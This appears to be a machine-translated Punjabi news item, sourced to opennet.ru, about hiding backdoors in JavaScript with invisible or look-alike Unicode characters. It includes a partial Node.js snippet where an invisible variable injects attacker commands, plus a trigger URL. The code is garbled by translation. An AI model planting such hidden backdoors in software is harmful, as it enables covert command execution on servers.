JavaScript ਕੋਡ ਵਿੱਚ ਕਾਰਵਾਈਆਂ ਨੂੰ ਲੁਕਾਉਣ ਲਈ ਅਦਿੱਖ ਯੂਨੀਕੋਡ ਅੱਖਰਾਂ ਦੀ ਵਰਤੋਂ ਕਰਨਾ

ਯੂਨੀਕੋਡ ਅੱਖਰਾਂ ਦੀ ਵਰਤੋਂ 'ਤੇ ਆਧਾਰਿਤ ਟਰੋਜਨ ਸੋਰਸ ਅਟੈਕ ਵਿਧੀ ਦਾ ਪਾਲਣ ਕਰਦੇ ਹੋਏ ਜੋ ਕਿ ਦੋ-ਦਿਸ਼ਾਵੀ ਟੈਕਸਟ ਦੇ ਡਿਸਪਲੇ ਕ੍ਰਮ ਨੂੰ ਬਦਲਦੇ ਹਨ, ਛੁਪੀਆਂ ਕਾਰਵਾਈਆਂ ਨੂੰ ਪੇਸ਼ ਕਰਨ ਲਈ ਇੱਕ ਹੋਰ ਤਕਨੀਕ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤੀ ਗਈ ਹੈ, ਜੋ JavaScript ਕੋਡ 'ਤੇ ਲਾਗੂ ਹੁੰਦੀ ਹੈ। ਨਵੀਂ ਵਿਧੀ ਯੂਨੀਕੋਡ ਅੱਖਰ "ㅤ" (ਕੋਡ 0x3164, "HANGUL FILLER") ਦੀ ਵਰਤੋਂ 'ਤੇ ਅਧਾਰਤ ਹੈ, ਜੋ ਕਿ ਇੱਕ ਅੱਖਰ ਹੈ ਪਰ ਇਸ ਵਿੱਚ ਕੋਈ ਦਿਖਾਈ ਦੇਣ ਵਾਲੀ ਸਮੱਗਰੀ ਨਹੀਂ ਹੈ। ਯੂਨੀਕੋਡ ਸ਼੍ਰੇਣੀ ਜਿਸ ਨਾਲ ਇਹ ਅੱਖਰ ਸਬੰਧਤ ਹੈ, ਨੂੰ JavaScript ਵੇਰੀਏਬਲ ਨਾਮਾਂ ਵਿੱਚ ਵਰਤਣ ਲਈ ECMAScript 2015 ਨਿਰਧਾਰਨ ਤੋਂ ਬਾਅਦ ਇਜਾਜ਼ਤ ਦਿੱਤੀ ਗਈ ਹੈ, ਜੋ ਕਿ ਨੋਟਪੈਡ++ ਅਤੇ VS ਕੋਡ ਵਰਗੇ ਪ੍ਰਸਿੱਧ ਕੋਡ ਸੰਪਾਦਕਾਂ ਵਿੱਚ ਅਦਿੱਖ ਵੇਰੀਏਬਲ ਜਾਂ ਹੋਰ ਵੇਰੀਏਬਲਾਂ ਤੋਂ ਵੱਖ ਕੀਤੇ ਜਾਣ ਯੋਗ ਨਵੇਂ ਵੇਰੀਏਬਲ ਬਣਾਉਣਾ ਸੰਭਵ ਬਣਾਉਂਦਾ ਹੈ।

ਇੱਕ ਉਦਾਹਰਨ ਵਜੋਂ, Node.js ਪਲੇਟਫਾਰਮ ਲਈ ਕੋਡ ਦਿੱਤਾ ਗਿਆ ਹੈ, ਜਿਸ ਵਿੱਚ, ਇੱਕ ਸਿੰਗਲ ਅੱਖਰ "ㅤ" ਵਾਲੇ ਇੱਕ ਵੇਰੀਏਬਲ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ, ਇੱਕ ਬੈਕਡੋਰ ਲੁਕਿਆ ਹੋਇਆ ਹੈ ਜੋ ਤੁਹਾਨੂੰ ਹਮਲਾਵਰ ਦੁਆਰਾ ਨਿਰਧਾਰਤ ਕੋਡ ਨੂੰ ਚਲਾਉਣ ਦੀ ਆਗਿਆ ਦਿੰਦਾ ਹੈ: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // ਅਸਲ ਵਿੱਚ "const { timeout,ㅤ \u3164}" const checkCommands = ['ping -c 1 google ਕਹਿੰਦਾ ਹੈ। com', 'curl -s http:// example.com/',ㅤ // ਕਾਮੇ ਤੋਂ ਬਾਅਦ \u3164 ];

ਪਹਿਲੀ ਨਜ਼ਰ 'ਤੇ, ਸਿਰਫ ਸਮਾਂ ਸਮਾਪਤੀ ਮੁੱਲ ਨੂੰ ਬਾਹਰੀ ਪੈਰਾਮੀਟਰ ਦੁਆਰਾ ਪਾਸ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਅਤੇ ਚਲਾਉਣ ਲਈ ਕਮਾਂਡਾਂ ਵਾਲੀ ਐਰੇ ਵਿੱਚ ਇੱਕ ਨੁਕਸਾਨ ਰਹਿਤ ਸਥਿਰ ਸੂਚੀ ਹੁੰਦੀ ਹੈ। ਪਰ ਅਸਲ ਵਿੱਚ, ਟਾਈਮਆਉਟ ਵੇਰੀਏਬਲ ਤੋਂ ਬਾਅਦ, ਸਿੰਬਲ ਕੋਡ \u3164 ਦੇ ਨਾਲ ਇੱਕ ਹੋਰ ਅਦਿੱਖ ਵੇਰੀਏਬਲ ਦਾ ਮੁੱਲ ਨਿਰਧਾਰਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਜੋ ਕਿ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਕਮਾਂਡਾਂ ਦੀ ਐਰੇ ਵਿੱਚ ਬਦਲਿਆ ਜਾਂਦਾ ਹੈ। ਇਸ ਤਰ੍ਹਾਂ, ਅਜਿਹੇ ਢਾਂਚੇ ਦੀ ਮੌਜੂਦਗੀ ਵਿੱਚ, ਇੱਕ ਹਮਲਾਵਰ "https://host:8080/network_health?%E3%85%A4=command" ਵਰਗੀ ਬੇਨਤੀ ਭੇਜ ਸਕਦਾ ਹੈ ਤਾਂ ਜੋ ਬੈਕਡੋਰ ਨੂੰ ਸਰਗਰਮ ਕੀਤਾ ਜਾ ਸਕੇ ਅਤੇ ਉਸਦੇ ਕੋਡ ਨੂੰ ਲਾਗੂ ਕੀਤਾ ਜਾ ਸਕੇ।

ਇੱਕ ਹੋਰ ਉਦਾਹਰਨ ਵਜੋਂ, ਅੱਖਰ "ǃ" (ਐਲਵੀਓਲਰ ਕਲਿੱਕ) ਦਿੱਤਾ ਗਿਆ ਹੈ, ਜਿਸਦੀ ਵਰਤੋਂ ਵਿਸਮਿਕ ਚਿੰਨ੍ਹ ਨੂੰ ਦਰਸਾਉਣ ਲਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਉਦਾਹਰਨ ਲਈ, ਸਮੀਕਰਨ "if(environmentǃ=ENV_PROD){" ਜਦੋਂ Node.js 14 ਵਿੱਚ ਚਲਾਇਆ ਜਾਂਦਾ ਹੈ ਤਾਂ ਹਮੇਸ਼ਾ ਸਹੀ ਹੋਵੇਗਾ, ਕਿਉਂਕਿ ਇਹ ਅੰਤਰਾਂ ਦੀ ਜਾਂਚ ਨਹੀਂ ਕਰਦਾ, ਪਰ ਵੇਰੀਏਬਲ "environmentǃ" ਨੂੰ ENV_PROD 'ਤੇ ਸੈੱਟ ਕਰਦਾ ਹੈ। ਗੁੰਮਰਾਹਕੁੰਨ ਯੂਨੀਕੋਡ ਅੱਖਰਾਂ ਵਿੱਚ "／", "−", "＋", "⩵", "❨", "⫽", "꓿", ਅਤੇ "∗" ਸ਼ਾਮਲ ਹਨ।

ਸਰੋਤ: opennet.ru